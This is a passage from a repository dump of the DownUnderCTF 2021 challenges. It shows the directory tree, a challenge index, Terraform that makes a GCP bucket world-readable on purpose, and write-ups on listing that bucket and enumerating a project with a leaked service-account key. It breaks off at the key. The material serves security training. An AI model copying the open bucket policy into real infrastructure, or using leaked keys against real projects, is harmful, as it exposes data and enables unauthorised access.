Repository: DownUnderCTF/Challenges_2021_Public Branch: main Commit: e29fbc5bed67 Files: 570 Total size: 19.5 MB Directory structure: gitextract_v5_tziju/ ├── README.md ├── cloud/ │ ├── bad-bucket/ │ │ ├── .gitignore │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── solution.md │ │ ├── src/ │ │ │ ├── buckets/ │ │ │ │ └── .notaflag │ │ │ └── index.html │ │ └── terraform/ │ │ ├── terraform.tf │ │ ├── terraform.tfvars │ │ └── variables.tf │ ├── lost-n-found/ │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── solution.md │ │ └── src/ │ │ ├── enum_script/ │ │ │ └── gcp_enum.sh │ │ ├── flag.txt │ │ ├── legacy.json │ │ └── setup.sh │ ├── notasbadbucket/ │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── solution.md │ │ ├── src/ │ │ │ ├── index.html │ │ │ └── pics/ │ │ │ └── flag.txt │ │ └── terraform/ │ │ ├── .gitignore │ │ ├── terraform.tf │ │ ├── terraform.tfvars │ │ └── variables.tf │ └── whale_blog/ │ ├── README.md │ ├── challenge.yml │ ├── setup.sh │ ├── solution.md │ └── src/ │ ├── Dockerfile │ ├── config.yaml │ ├── permission.yaml │ └── web/ │ ├── index.php │ ├── page1 │ └── page2 ├── crypto/ │ ├── 1337crypt-v2/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── 1337crypt-v2.sage │ │ │ ├── flag.txt │ │ │ └── output.txt │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── writeup.ipynb │ │ └── writeup.md │ ├── aes-ecb/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── aes-ecb.py │ │ │ ├── flag.txt │ │ │ └── key.txt │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── requirements.txt │ │ ├── solution.py │ │ └── writeup.md │ ├── otwhat-1/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ └── app/ │ │ │ ├── main.py │ │ │ └── rsa.key │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.py │ │ └── writeup.md │ ├── otwhat-2/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── app/ │ │ │ │ ├── main.py │ │ │ │ ├── secp256r1.key │ │ │ │ └── update.log │ │ │ └── generate_audit.py │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.py │ │ └── writeup.md │ ├── power-sign/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ └── power-sign.sage │ │ ├── challenge.yml │ │ ├── docker-compose.yml │ │ └── solve/ │ │ ├── solv.sage │ │ ├── writeup.ipynb │ │ └── writeup.md │ ├── secuchat/ │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── solve/ │ │ │ ├── attack.py │ │ │ └── writeup.md │ │ └── src/ │ │ ├── flag.txt │ │ └── generate.py │ ├── substitution-cipher-i/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── output.txt │ │ │ └── substitution-cipher-i.sage │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── test.sh │ │ └── writeup.md │ ├── substitution-cipher-ii/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── output.txt │ │ │ └── substitution-cipher-ii.sage │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── test.sh │ │ └── writeup.md │ ├── substitution-cipher-iii/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── output.txt │ │ │ └── substitution-cipher-iii.sage │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── test.sh │ │ ├── writeup.ipynb │ │ └── writeup.md │ ├── treasure/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── secret.py │ │ │ └── treasure.py │ │ ├── challenge.yml │ │ ├── docker-compose.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── writeup.ipynb │ │ └── writeup.md │ └── yadlp/ │ ├── README.md │ ├── challenge/ │ │ ├── flag.txt │ │ ├── output.txt │ │ └── yadlp.sage │ ├── challenge.yml │ └── solve/ │ ├── solve.sage │ ├── writeup.ipynb │ └── writeup.md ├── forensics/ │ ├── Thats_Not_My_Name/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ └── flag.txt │ │ ├── challenge.yml │ │ └── writeup.md │ ├── The_File_Is_Lava/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── WouldYouLikeToPlayAGame/ │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── flag.txt │ │ └── writeup.md │ ├── do_the_loop/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ └── flag.txt │ │ ├── challenge.yml │ │ └── writeup.md │ ├── how-to-pronounce-gif/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ └── retro/ │ ├── README.md │ ├── challenge/ │ │ └── flag.txt │ ├── challenge.yml │ └── writeup.md ├── misc/ │ ├── builder/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ └── builder.mpd │ │ ├── challenge.yml │ │ └── solve/ │ │ └── writeup.md │ ├── canary/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── canary_socket.c │ │ ├── challenge.yml │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ ├── publish/ │ │ │ ├── canary │ │ │ └── canary.c │ │ └── solve/ │ │ └── canary_solve.py │ ├── discord/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── floormat/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── publish/ │ │ │ └── floormat.py │ │ ├── solve/ │ │ │ └── solve.py │ │ └── src/ │ │ ├── flag.txt │ │ └── floormat.py │ ├── flying-spaghetti-monster/ │ │ ├── .dockerignore │ │ ├── .gcloudignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── canned-inputs.txt │ │ │ ├── canned.json │ │ │ ├── entry.sh │ │ │ ├── flag.txt │ │ │ ├── fsm.py │ │ │ ├── fsm.txt │ │ │ ├── pow.py │ │ │ ├── requirements.txt │ │ │ └── server.py │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── Dockerfile.solve │ │ ├── fsm.py │ │ ├── requirements-solve.txt │ │ ├── solve.py │ │ └── writeup.md │ ├── gammasafe/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ └── server.py │ │ ├── challenge.yml │ │ ├── publish/ │ │ │ └── gs_strcmp.3 │ │ └── solve/ │ │ ├── solve.py │ │ └── solve.threaded.py │ ├── general_skills_quiz/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ ├── challenge.py │ │ │ └── wordlist.10000 │ │ ├── challenge.yml │ │ ├── docker-compose.yml │ │ └── solve.py │ ├── i_pee_fs/ │ │ ├── README.md │ │ ├── challenge.yml │ │ └── src/ │ │ ├── .gitignore │ │ ├── dir/ │ │ │ ├── 01 lol │ │ │ ├── 03 owo whats this │ │ │ ├── 04 story │ │ │ ├── 05 pkfire │ │ │ └── 07 flag.txt │ │ ├── generate.sh │ │ ├── load-test.go │ │ ├── main-ipv4.go │ │ ├── main.go │ │ └── solve.py │ ├── rabbit/ │ │ ├── README.md │ │ ├── challenge.yml │ │ ├── matroyshka.sh │ │ ├── publish/ │ │ │ └── flag.txt │ │ └── solve.sh │ ├── survey/ │ │ ├── challenge.yml │ │ └── solve.py │ ├── the_introduction/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ └── challenge.py │ │ ├── challenge.yml │ │ ├── docker-compose.yml │ │ └── flag.txt │ └── twitter/ │ ├── README.md │ ├── WRITEUP.md │ └── challenge.yml ├── osint/ │ ├── (back)-On-the-rails/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── Apartment-views/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── Heart-of-the-nation/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── Who-goes-there/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── eyespy/ │ │ ├── README.md │ │ ├── WRITEUP.md │ │ └── challenge.yml │ ├── get-over-it/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ └── flag.txt │ │ ├── challenge.yml │ │ └── writeup.md │ ├── sharing_is_caring/ │ │ ├── README.md │ │ ├── challenge.yml │ │ └── writeup.md │ └── the_internet_is_written_in_ink/ │ ├── README.md │ ├── WRITEUP.md │ └── challenge.yml ├── pwn/ │ ├── babygame/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── babygame │ │ │ ├── babygame.c │ │ │ ├── flag.txt │ │ │ └── nsjail.cfg │ │ ├── challenge.yml │ │ └── solve/ │ │ └── solve.py │ ├── deadcode/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ ├── deadcode │ │ │ ├── deadcode.c │ │ │ └── flag.txt │ │ └── challenge.yml │ ├── ductfnote/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── ductfnote │ │ │ ├── ductfnote.c │ │ │ └── flag.txt │ │ ├── challenge.yml │ │ └── solve/ │ │ └── solve.py │ ├── encrypted-note/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── encrypted_note │ │ │ ├── encrypted_note.c │ │ │ ├── flag.txt │ │ │ └── nsjail.cfg │ │ ├── challenge.yml │ │ └── solve/ │ │ └── solve.py │ ├── leaking-like-a-sieve/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── hellothere │ │ │ └── hellothere.c │ │ └── challenge.yml │ ├── out-backdoor/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── outBackdoor │ │ │ └── outBackdoor.c │ │ └── challenge.yml │ ├── oversight/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── WRITEUP.md │ │ ├── challenge/ │ │ │ ├── Makefile │ │ │ ├── flag.txt │ │ │ ├── oversight │ │ │ └── oversight.c │ │ ├── challenge.yml │ │ └── sol.py │ ├── ready-bounce-pwn/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── libc.so.6 │ │ │ ├── rbp │ │ │ └── rbp.c │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.py │ │ └── writeup.md │ └── write-what-where/ │ ├── Dockerfile │ ├── README.md │ ├── challenge/ │ │ ├── flag.txt │ │ ├── libc.so.6 │ │ ├── write-what-where │ │ └── write-what-where.c │ ├── challenge.yml │ └── solve/ │ └── solve.py ├── rev/ │ ├── bullet-hell/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── bullet_hell │ │ │ ├── bullet_hell.c │ │ │ └── flag.txt │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.py │ │ └── writeup.md │ ├── connect-the-dots/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── connect_the_dots │ │ │ ├── connect_the_dots.c │ │ │ ├── flag.txt │ │ │ └── maze_data.h │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── maze_data.py │ │ └── solve.py │ ├── flag-checker/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── flag_checker │ │ │ ├── flag_checker.c │ │ │ └── offsets.h │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.sage │ │ ├── writeup.ipynb │ │ └── writeup.md │ ├── flag-loader/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── flag_loader │ │ │ └── flag_loader.c │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── solve.py │ │ └── writeup.md │ ├── flag-printer/ │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── flag_printer │ │ │ └── flag_printer.go │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── data.py │ │ └── solve.sage │ ├── gamer/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── Build/ │ │ │ │ ├── game.data │ │ │ │ ├── game.framework.js │ │ │ │ ├── game.loader.js │ │ │ │ └── game.wasm │ │ │ ├── Caddyfile │ │ │ ├── TemplateData/ │ │ │ │ └── style.css │ │ │ ├── flag.txt │ │ │ └── index.html │ │ ├── challenge.yml │ │ └── solve/ │ │ ├── index.html │ │ └── writeup.md │ ├── juniperus/ │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenge/ │ │ │ ├── flag.txt │ │ │ ├── nsjail.cfg │ │ │ ├── shell │ │ │ └── shell.c │ │ ├── challenge.yml │ │ └── solve/ │ │ └── writeup.md │ └── no-strings/ │ ├── README.md │ ├── WRITEUP.md │ ├── challenge/ │ │ ├── flag.txt │ │ ├── nostrings │ │ └── nostrings.c │ └── challenge.yml └── web/ ├── chainreaction/ │ ├── Dockerfile │ ├── README.md │ ├── challenge/ │ │ ├── app.py │ │ ├── bad.txt │ │ ├── chainreaction/ │ │ │ ├── .gitignore │ │ │ ├── __init__.py │ │ │ ├── models.py │ │ │ ├── routes.py │ │ │ └── templates/ │ │ │ ├── admin.html │ │ │ ├── bad.html │ │ │ ├── chats.html │ │ │ ├── dev.html │ │ │ ├── head.html │ │ │ ├── home.html │ │ │ ├── index.html │ │ │ ├── login.html │ │ │ ├── profile.html │ │ │ └── register.html │ │ ├── cookiejar │ │ ├── init.json │ │ ├── requirements.txt │ │ └── wait-for-it.sh │ ├── challenge.yml │ ├── docker-compose.yml │ └── solution/ │ ├── flag.txt │ ├── payload.txt │ └── solution.md ├── cowboy_world/ │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge/ │ │ ├── app.py │ │ ├── static/ │ │ │ ├── robots.txt │ │ │ └── sad.eml │ │ └── templates/ │ │ ├── index.html │ │ └── you_did_the_thing.html │ ├── challenge.yml │ ├── docker-compose.yml │ ├── flag.txt │ └── requirements.txt ├── ezmail/ │ ├── .dockerignore │ ├── Dockerfile │ ├── README.md │ ├── challenge.yml │ ├── data/ │ │ ├── generate_ldif.py │ │ └── users.ldif │ ├── docker-compose.yml │ ├── flag.txt │ ├── solve/ │ │ └── solve.py │ └── src/ │ ├── config.py │ ├── main.py │ ├── message.py │ └── models.py ├── farsight/ │ ├── .dockerignore │ ├── Dockerfile │ ├── README.md │ ├── challenge.yml │ ├── data/ │ │ ├── 1-schema.sql │ │ └── 2-data.sql │ ├── docker-compose.yml │ ├── flag.txt │ ├── frontend/ │ │ ├── assets/ │ │ │ ├── browser.mjs │ │ │ ├── index.mjs │ │ │ └── util.mjs │ │ ├── index.html │ │ └── login.html │ ├── package.json │ ├── solve/ │ │ └── solve.py │ ├── src/ │ │ ├── app.ts │ │ ├── assets/ │ │ │ └── schema.gql │ │ ├── config.ts │ │ └── db.ts │ └── tsconfig.json ├── inside-out/ │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge/ │ │ ├── .gitignore │ │ ├── config.py │ │ ├── main.py │ │ ├── static/ │ │ │ └── style.css │ │ ├── templates/ │ │ │ ├── admin.html │ │ │ ├── base.html │ │ │ ├── blacklist.html │ │ │ ├── forbidden.html │ │ │ └── index.html │ │ └── util.py │ ├── challenge.yml │ ├── default.conf │ ├── docker-compose.yml │ ├── flag.txt │ └── requirements.txt ├── jasons_proxy/ │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge.yml │ ├── docker-compose.yml │ ├── proxy.py │ ├── requirements.txt │ ├── run.sh │ └── web/ │ ├── app.py │ ├── static/ │ │ └── style.css │ └── templates/ │ ├── base.html │ └── index.html ├── jwt/ │ ├── Dockerfile │ ├── README.md │ ├── challenge/ │ │ ├── chall.py │ │ ├── flag.txt │ │ ├── priv │ │ └── pub │ ├── challenge.yml │ ├── docker-compose.yml │ └── solve/ │ ├── requirements.txt │ └── solve.py ├── notepad/ │ ├── Dockerfile │ ├── README.md │ ├── challenge.yml │ ├── docker-compose.yml │ ├── flag.txt │ ├── publish/ │ │ └── app.py │ ├── solve/ │ │ ├── index.html │ │ └── solve.py │ └── src/ │ ├── app.py │ └── templates/ │ ├── _pretty.html │ ├── index.html │ ├── login.html │ ├── me.html │ ├── register.html │ └── report.html ├── secret_bin/ │ ├── Dockerfile │ ├── README.md │ ├── challenge.yml │ ├── docker-compose.yml │ ├── dump.rdb │ ├── flag.txt │ ├── init.rdb │ ├── publish/ │ │ ├── app.py │ │ └── secret_manager.py │ ├── requirements.txt │ ├── solve/ │ │ └── solve.py │ └── src/ │ ├── app.py │ ├── secret_manager.py │ └── static/ │ ├── index.html │ └── secrets.html ├── x1337_sk1d_r3p0rt3r/ │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge/ │ │ ├── requirements.txt │ │ └── web/ │ │ ├── app.py │ │ ├── create_db.py │ │ ├── static/ │ │ │ └── style.css │ │ └── templates/ │ │ ├── base.html │ │ ├── dashboard.html │ │ ├── index.html │ │ ├── login.html │ │ ├── navbar-auth.html │ │ ├── navbar-unauth.html │ │ ├── register.html │ │ └── report_view.html │ ├── challenge.yml │ └── docker-compose.yml └── zap/ ├── .dockerignore ├── .gitignore ├── Dockerfile ├── README.md ├── challenge.yml ├── docker-compose.yml ├── flag.txt ├── package.json ├── solve/ │ ├── shell.py │ └── solve.py └── src/ ├── app.js └── index.html ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # cloud | Challenge | Author | Difficulty | Release Round | | ------------------------------------------- | ---------- | ---------- | ------------- | | [Bad Bucket](./cloud/bad-bucket) | Blue Alder | easy | round 1 | | [Not as Bad Bucket](./cloud/notasbadbucket) | Blue Alder | easy | round 1 | | [Lost n Found](./cloud/lost-n-found) | Blue Alder | medium | round 1 | | [Whale Blog](./cloud/whale_blog) | Blue Alder | medium | round 2 | # crypto | Challenge | Author | Difficulty | Release Round | | ----------------------------------------------------------- | ------------------ | ---------- | ------------- | | [Substitution Cipher I](./crypto/substitution-cipher-i) | joseph#8210 | beginner | round 1 | | [Break Me!](./crypto/aes-ecb) | 2keebs | easy | round 1 | | [OTWhat 1](./crypto/otwhat-1) | nullableVoid*#7225 | easy | round 2 | | [Substitution Cipher II](./crypto/substitution-cipher-ii) | joseph#8210 | easy | round 1 | | [treasure](./crypto/treasure) | joseph#8210 | easy | round 1 | | [OTWhat 2](./crypto/otwhat-2) | nullableVoid*#7225 | medium | round 2 | | [Secuchat](./crypto/secuchat) | nullableVoid*#7225 | medium | round 1 | | [1337crypt v2](./crypto/1337crypt-v2) | joseph#8210 | hard | round 2 | | [power sign](./crypto/power-sign) | joseph#8210 | hard | round 1 | | [Substitution Cipher III](./crypto/substitution-cipher-iii) | joseph#8210 | hard | round 1 | | [yadlp](./crypto/yadlp) | joseph#8210 | hard | round 1 | # forensics | Challenge | Author | Difficulty | Release Round | | ----------------------------------------------------------- | -------------- | ---------- | ------------- | | [Retro!](./forensics/retro) | Yo_Yo_Bro | beginner | round 1 | | [Do the loop!](./forensics/do_the_loop) | Yo_Yo_Bro | easy | round 1 | | [How to pronounce GIF](./forensics/how-to-pronounce-gif) | xXl33t_h@x0rXx | easy | round 1 | | [That's Not My Name](./forensics/Thats_Not_My_Name) | Conletz#5420 | easy | round 1 | | [The File is Lava](./forensics/The_File_Is_Lava) | TheDon*#2152 | medium | round 2 | | [Want to Play a Game?](./forensics/WouldYouLikeToPlayAGame) | Conletz#5420 | medium | round 1 | # misc | Challenge | Author | Difficulty | Release Round | | ----------------------------------------------------------- | --------------------- | ---------- | ------------- | | [Discord](./misc/discord) | Crem | none | round 1 | | [Twitter](./misc/twitter) | Crem | none | round 1 | | [Builder](./misc/builder) | BearArms (Cybears) | beginner | round 1 | | [General Skills Quiz](./misc/general_skills_quiz) | Crem | beginner | round 1 | | [The Introduction](./misc/the_introduction) | Crem | beginner | round 1 | | [Floormat](./misc/floormat) | todo#7331 | easy | round 1 | | [GammaSafe](./misc/gammasafe) | nullableVoid*#7225 | easy | round 2 | | [rabbit](./misc/rabbit) | Crem + z3kxTa | easy | round 1 | | [Canary](./misc/canary) | 247CTF.com | medium | round 1 | | [i-pee fs](./misc/i_pee_fs) | dot | medium | round 2 | | [Flying Spaghetti Monster](./misc/flying-spaghetti-monster) | hypersphere (Cybears) | hard | round 1 | # survey | Challenge | Author | Difficulty | Release Round | | ----------------------- | ------ | ---------- | ------------- | | [Survey](./misc/survey) | DUCTF | none | round 3 | # OSINT | Challenge | Author | Difficulty | Release Round | | ------------------------------------------------------------------------ | -------------- | ---------- | ------------- | | [Who goes there?](./osint/Who-goes-there) | xXl33t_h@x0rXx | beginner | round 1 | | [(back) On the rails](./osint/(back)-On-the-rails) | xXl33t_h@x0rXx | easy | round 2 | | [Get over it!](./osint/get-over-it) | Yo_Yo_Bro | easy | round 1 | | [The Internet is Written in Ink](./osint/the_internet_is_written_in_ink) | Crem | easy | round 1 | | [Apartment Views](./osint/Apartment-views) | xXl33t_h@x0rXx | medium | round 2 | | [eyespy](./osint/eyespy) | xXl33t_h@x0rXx | medium | round 2 | | [Heart of the nation](./osint/Heart-of-the-nation) | xXl33t_h@x0rXx | medium | round 1 | | [Sharing is Caring](./osint/sharing_is_caring) | xXl33t_h@x0rXx | hard | round 2 | # pwn | Challenge | Author | Difficulty | Release Round | | -------------------------------------------------- | -------------- | ---------- | ------------- | | [deadcode](./pwn/deadcode) | xXl33t_h@x0rXx | beginner | round 1 | | [Leaking like a sieve](./pwn/leaking-like-a-sieve) | xXl33t_h@x0rXx | beginner | round 1 | | [babygame](./pwn/babygame) | grub | easy | round 1 | | [outBackdoor](./pwn/out-backdoor) | xXl33t_h@x0rXx | easy | round 1 | | [write what where](./pwn/write-what-where) | joseph#8210 | easy | round 2 | | [Oversight](./pwn/oversight) | B3NNY | medium | round 1 | | [ready, bounce, pwn!](./pwn/ready-bounce-pwn) | joseph#8210 | medium | round 2 | | [DUCTFnote](./pwn/ductfnote) | grub | hard | round 1 | | [encrypted note](./pwn/encrypted-note) | joseph#8210 | hard | round 1 | # reversing | Challenge | Author | Difficulty | Release Round | | ------------------------------------------ | ------------------ | ---------- | ------------- | | [no strings](./rev/no-strings) | joseph#8210 | beginner | round 1 | | [flag loader](./rev/flag-loader) | joseph#8210 | easy | round 1 | | [Juniperus](./rev/juniperus) | nullableVoid*#7225 | easy | round 2 | | [bullet hell](./rev/bullet-hell) | joseph#8210 | medium | round 2 | | [connect the dots](./rev/connect-the-dots) | joseph#8210 | medium | round 1 | | [flag printer](./rev/flag-printer) | joseph#8210 | medium | round 1 | | [gamer](./rev/gamer) | joseph#8210 | medium | round 1 | | [flag checker](./rev/flag-checker) | joseph#8210 | hard | round 1 | # web | Challenge | Author | Difficulty | Release Round | | ------------------------------------------------ | ---------- | ---------- | ------------- | | [Cowboy World](./web/cowboy_world) | Crem | beginner | round 1 | | [Inside Out](./web/inside-out) | Solopie | beginner | round 1 | | [Chainreaction](./web/chainreaction) | n00bmaster | easy | round 1 | | [Farsight](./web/farsight) | todo#7331 | easy | round 2 | | [Secret Bin](./web/secret_bin) | todo#7331 | easy | round 2 | | [Ezmail](./web/ezmail) | todo#7331 | medium | round 1 | | [JWT](./web/jwt) | 247CTF.com | medium | round 1 | | [x1337 Sk1d R3p0rt3r](./web/x1337_sk1d_r3p0rt3r) | xesh | medium | round 2 | | [Zap](./web/zap) | todo#7331 | medium | round 1 | | [Jasons Proxy](./web/jasons_proxy) | xesh | hard | round 2 | | [Notepad](./web/notepad) | todo#7331 | hard | round 1 | ================================================ FILE: cloud/bad-bucket/.gitignore ================================================ terraform/.terraform.lock.hcl terraform/terraform terraform/.terraform terraform/terraform.tfstate terraform/terraform.tfstate.backup ================================================ FILE: cloud/bad-bucket/README.md ================================================ # Bad Bucket **Creator:** Blue Alder **Category:** cloud **Difficulty:** easy ## Flavortext Aw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here Flag: DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!} ================================================ FILE: cloud/bad-bucket/challenge.yml ================================================ version: "0.1" id: bad-bucket name: Bad Bucket category: cloud description: > Aw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here Author: Blue Alder connection_info: https://storage.googleapis.com/the-bad-bucket-ductf/index.html tags: - easy flags: - DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!} ================================================ FILE: cloud/bad-bucket/solution.md ================================================ # Bad Bucket So this was an easy challenge about basic bucket permissions. We are presented with a url as an entry point into the challenge https://storage.googleapis.com/${BUCKET_NAME}/index.html. This URL denotes that the website is hosted on a bucket. The website also points towards buckets as a hint. We can try and list the contents of the bucket by navigating up a directory https://storage.googleapis.com/${BUCKET_NAME} We get an XML output which shows a few interesting files, notably ```xml buckets/.notaflag 1627459441112582 1 2021-07-28T08:04:01.113Z "d66c1be5db93f7b0fd7a63b01f4abeb1" 158 ``` Navigating to this file to download the file https://storage.googleapis.com/${BUCKET_NAME}/buckets/.notaflag We open the file and we recieve the flag! `DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}` ================================================ FILE: cloud/bad-bucket/src/buckets/.notaflag ================================================ THIS IS A SECRET FILE THAT SHOULD NOT BE SHARED UNDER ANY CIRCUMSTANCE jk heres the flag good job! DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!} ================================================ FILE: cloud/bad-bucket/src/index.html ================================================ Cloud Time

Hello and welcome to my website

I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website

While I'm still getting everything up and running please feel free to look at some of these pics of my buckets

Progress of website being done

You can tell that this website is not complete because this loading bar is not complete...

================================================ FILE: cloud/bad-bucket/terraform/terraform.tf ================================================ provider "google" { project = var.project_id region = "australia-southeast1" zone = "australia-southeast1-b" } resource "google_storage_bucket" "bucket-bucket" { name = var.bucket_name location = "AUSTRALIA-SOUTHEAST1" force_destroy = true uniform_bucket_level_access = false website { main_page_suffix = "index.html" } } data "google_iam_policy" "viewer" { binding { role = "roles/storage.objectViewer" members = [ "allUsers", ] } } resource "google_storage_bucket_iam_policy" "policy" { bucket = google_storage_bucket.bucket-bucket.name policy_data = data.google_iam_policy.viewer.policy_data } resource "google_storage_bucket_object" "object1" { name = "buckets/bucket1.jpg" source = "../src/buckets/bucket1.jpg" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object2" { name = "buckets/bucket2.jpg" source = "../src/buckets/bucket2.jpg" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object3" { name = "buckets/bucket3.png" source = "../src/buckets/bucket3.png" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object4" { name = "buckets/bucket4.png" source = "../src/buckets/bucket4.png" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object_html" { name = "index.html" source = "../src/index.html" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object_flag" { name = "buckets/.notaflag" source = "../src/buckets/.notaflag" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } ================================================ FILE: cloud/bad-bucket/terraform/terraform.tfvars ================================================ project_id = "ductf-bad-bucket" # Update: Desired project name. bucket_name = "the-bad-bucket-ductf" ================================================ FILE: cloud/bad-bucket/terraform/variables.tf ================================================ variable "project_id" { description = "GCP Project id" type = string } variable "bucket_name" { description = "Name of the bucket" type = string } ================================================ FILE: cloud/lost-n-found/README.md ================================================ # Lost n Found **Author:** Blue Alder **Difficulty:** Medium ## Flavor Text Found this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project! **Attached files:** legacy.json (to be generated when project is created) ================================================ FILE: cloud/lost-n-found/challenge.yml ================================================ version: "0.1" id: lost-n-found name: Lost n Found category: cloud description: | Found this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project! Author: Blue Alder tags: - medium files: - src/legacy.json flags: - DUCTF{its_time_to_clean_up_your_service_account_permissions!} ================================================ FILE: cloud/lost-n-found/solution.md ================================================ # Solution So this challenge was all about enumeration and finding what you can do with an old service account key that was kept around for legacy purposes. If you have followed some of my other Cloud challenges from last year you would know that I love [this](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_enum/-/blob/master/gcp_enum.sh) script from GitLab Red team on enumerating GCP resources So lets go ahead and use that and see what happens. But before that we need to enable the service account key and make sure we are looking at the right project. So lets take a look at the key. ```json { "type": "service_account", "project_id": "${SOME_PROJECT_NAME}", "private_key_id": "6baafbed73bf3181fd03b8d26f40eb53f235fe0f", "private_key": 